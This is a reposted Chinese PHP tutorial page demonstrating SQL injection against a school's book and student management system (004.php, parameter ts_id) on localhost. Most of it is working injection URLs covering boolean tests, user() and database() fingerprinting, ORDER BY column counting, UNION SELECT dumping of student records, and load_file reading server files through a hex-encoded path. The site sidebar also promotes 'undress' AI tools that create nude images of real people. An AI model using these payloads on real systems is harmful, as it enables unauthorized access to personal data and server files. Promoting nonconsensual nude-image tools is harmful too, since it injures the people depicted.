a href="004.php?ts_id=?php echo $array[ts_id];?>">img src="./images/" /> a href="004.php?ts_id=?php echo $array[ts_id];?>">img src="./images/">
Home Backend Development PHP Tutorial 简单PHP注入演示_PHP

简单PHP注入演示_PHP

Jun 01, 2016 pm 12:25 PM
injection Demo Simple

学校的一个外聘老师写的程序,图书+学生管理系统,文件名001.php,002.php,003.php......(B名起的)问题出在004.php第多少行我也忘了,

简单PHP注入演示_PHP 书名:

注意这句,ts_id没有任何过滤,赤裸裸的等我们虐待,HOO~(虽然我知道数据库的一切信息,但是这里我还是要黑箱测试)

LET'S GO~
http://localhost/zhd/004.php?ts_id=1 and 1=1 正常
http://localhost/zhd/004.php?ts_id=1 and 1=2 异常
白痴注入

判断数据库:
提交http://localhost/zhd/004.php?ts_id=1/*fenggou
正常返回,说明数据库支持/*注释,什么数据库支持/*呢?MYSQL!

读取用户名:
提交http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=114/*
正常返回,user()是MYSQL的内置函数,用来查看用户,这里是查看个用户名的第一个字符,没错114是ACCSLL中的"r",我是root连接,所以语句为真(这招贱心教我滴)但是如果用户名是rijnc的话我不是被骗了?所以在提交
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=111/* o
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=111/* o
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=116/* t
但是如果密码是rootrijnc,那我无语…

判断字段数:
提交http://localhost/zhd/004.php?ts_id=1 order by 10/*
失败,说明字段数小于10,一直试到7语句成立,一共是7个字段了,对我们以后的联合查询带来极大方便,有个小技巧,先5,在10,在15,依次一点点缩小范围

联合查询:
知道了字段数直接提交http://localhost/zhd/004.php?ts_id=1 union select 1,2,3,4,5,6,7/*
正常返回,说明支持union,把语句改改,用and 1=2让他显示错误,嘿嘿~~~

提交http://localhost/zhd/004.php?ts_id=1 and 1=2 union select 1,2,3,4,5,6,7/*
成功了!

提交http://localhost/zhd/004.php?ts_id=1%20and%201=2%20union%20select%201,database(),3,4,5,6,7/*
在第二个字段书名也就是"2"的地方显示db1,没错,这个程序数据库名就是db1

我所知道有用的MYSQL函数sexxion_user()、current_user(),user(),system_user(),database(),version(),load_file()这个要root的,不过很好用,可以读任意文件并显示。
我是root连接,可以直接这样,但是值得注意的是magic_quotes_gpc = off的时候load_file('c:\boot.ini')才成立,on的时候用16进制来提交
http://localhost/zhd/004.php?ts_id=-1%20union%20select%201,2,3,4,load_file(0x633a2f626f6f742e696e69),6,7/

暴露了服务器的信息,还可以读别的,发挥自己的想象力吧,我要保护我的脑细胞...

获得表名:
http://localhost/zhd/004.php?ts_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7 from books/*
http://localhost/zhd/004.php?ts_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7 from student/*

正常返回,说明存在books和student这两个表(???木有admin啊!!!)MYSQL注入就是这样表名要猜,不想MSSQL能暴,麻痹的!还有还有,不要以为联合查询只能用自带函数,它是可以直接读出字段内容的,比如这个表:

http://localhost/zhd/004.php?ts_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7 from student/*

2 3 5 7的位置可以用来读,(为什么?地方大呗,要是char(2)你能显示什么??)

http://localhost/zhd/004.php?ts_id=1%20and%201=2%20union%20select%201,sno,sname,4,sex,6,7 from student/*


全看到了,虽然不是密码,呵呵,但原理是一样的(前提是要知道字段名称的,哎,麻烦,在BS下)

还可以这样
http://localhost/zhd/004.php?ts_id=1%20and%201=2%20union%20select%201,2,sname,4,sex,6,7 from student where sno=2/*

和MSSQL注入差不多的,OVER。
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
2 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Repo: How To Revive Teammates
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: How To Get Giant Seeds
3 weeks ago By 尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

The easiest way to query the hard drive serial number The easiest way to query the hard drive serial number Feb 26, 2024 pm 02:24 PM

The hard disk serial number is an important identifier of the hard disk and is usually used to uniquely identify the hard disk and identify the hardware. In some cases, we may need to query the hard drive serial number, such as when installing an operating system, finding the correct device driver, or performing hard drive repairs. This article will introduce some simple methods to help you check the hard drive serial number. Method 1: Use Windows Command Prompt to open the command prompt. In Windows system, press Win+R keys, enter "cmd" and press Enter key to open the command

How to write a simple online reservation system through PHP How to write a simple online reservation system through PHP Sep 26, 2023 pm 09:55 PM

How to write a simple online reservation system through PHP. With the popularity of the Internet and users' pursuit of convenience, online reservation systems are becoming more and more popular. Whether it is a restaurant, hospital, beauty salon or other service industry, a simple online reservation system can improve efficiency and provide users with a better service experience. This article will introduce how to use PHP to write a simple online reservation system and provide specific code examples. Create database and tables First, we need to create a database to store reservation information. In MyS

How to write a simple student performance report generator using Java? How to write a simple student performance report generator using Java? Nov 03, 2023 pm 02:57 PM

How to write a simple student performance report generator using Java? Student Performance Report Generator is a tool that helps teachers or educators quickly generate student performance reports. This article will introduce how to use Java to write a simple student performance report generator. First, we need to define the student object and student grade object. The student object contains basic information such as the student's name and student number, while the student score object contains information such as the student's subject scores and average grade. The following is the definition of a simple student object: public

Quick Start: Use Go language functions to implement a simple library management system Quick Start: Use Go language functions to implement a simple library management system Jul 30, 2023 am 09:18 AM

Quick Start: Implementing a Simple Library Management System Using Go Language Functions Introduction: With the continuous development of the field of computer science, the needs of software applications are becoming more and more diverse. As a common management tool, the library management system has also become one of the necessary systems for many libraries, schools and enterprises. In this article, we will use Go language functions to implement a simple library management system. Through this example, readers can learn the basic usage of functions in Go language and how to build a practical program. 1. Design ideas: Let’s first

How to use PHP to develop simple file management functions How to use PHP to develop simple file management functions Sep 20, 2023 pm 01:09 PM

Introduction to how to use PHP to develop simple file management functions: File management functions are an essential part of many web applications. It allows users to upload, download, delete and display files, providing users with a convenient way to manage files. This article will introduce how to use PHP to develop a simple file management function and provide specific code examples. 1. Create a project First, we need to create a basic PHP project. Create the following file in the project directory: index.php: main page, used to display the upload table

How to write a simple music recommendation system in C++? How to write a simple music recommendation system in C++? Nov 03, 2023 pm 06:45 PM

How to write a simple music recommendation system in C++? Introduction: Music recommendation system is a research hotspot in modern information technology. It can recommend songs to users based on their music preferences and behavioral habits. This article will introduce how to use C++ to write a simple music recommendation system. 1. Collect user data First, we need to collect user music preference data. Users' preferences for different types of music can be obtained through online surveys, questionnaires, etc. Save data in a text file or database

Write a simple calculator C/C++ program Write a simple calculator C/C++ program Sep 02, 2023 pm 10:49 PM

A simple calculator is a calculator that performs some basic operations, such as "+", "-", "*", "/". The calculator can perform basic operations quickly. We will use the switch statement to make a calculator. Example Operator−‘+’=>34+324=358Operator−‘-’=>3874-324=3550Operator−‘*’=>76*24=1824O

How to write a simple web crawler using PHP How to write a simple web crawler using PHP Jun 14, 2023 am 08:21 AM

A web crawler is an automated program that automatically visits websites and crawls information from them. This technology is becoming more and more common in today's Internet world and is widely used in data mining, search engines, social media analysis and other fields. If you want to learn how to write a simple web crawler using PHP, this article will provide you with basic guidance and advice. First, you need to understand some basic concepts and techniques. Crawling target Before writing a crawler, you need to select a crawling target. This can be a specific website, a specific web page, or the entire Internet

See all articles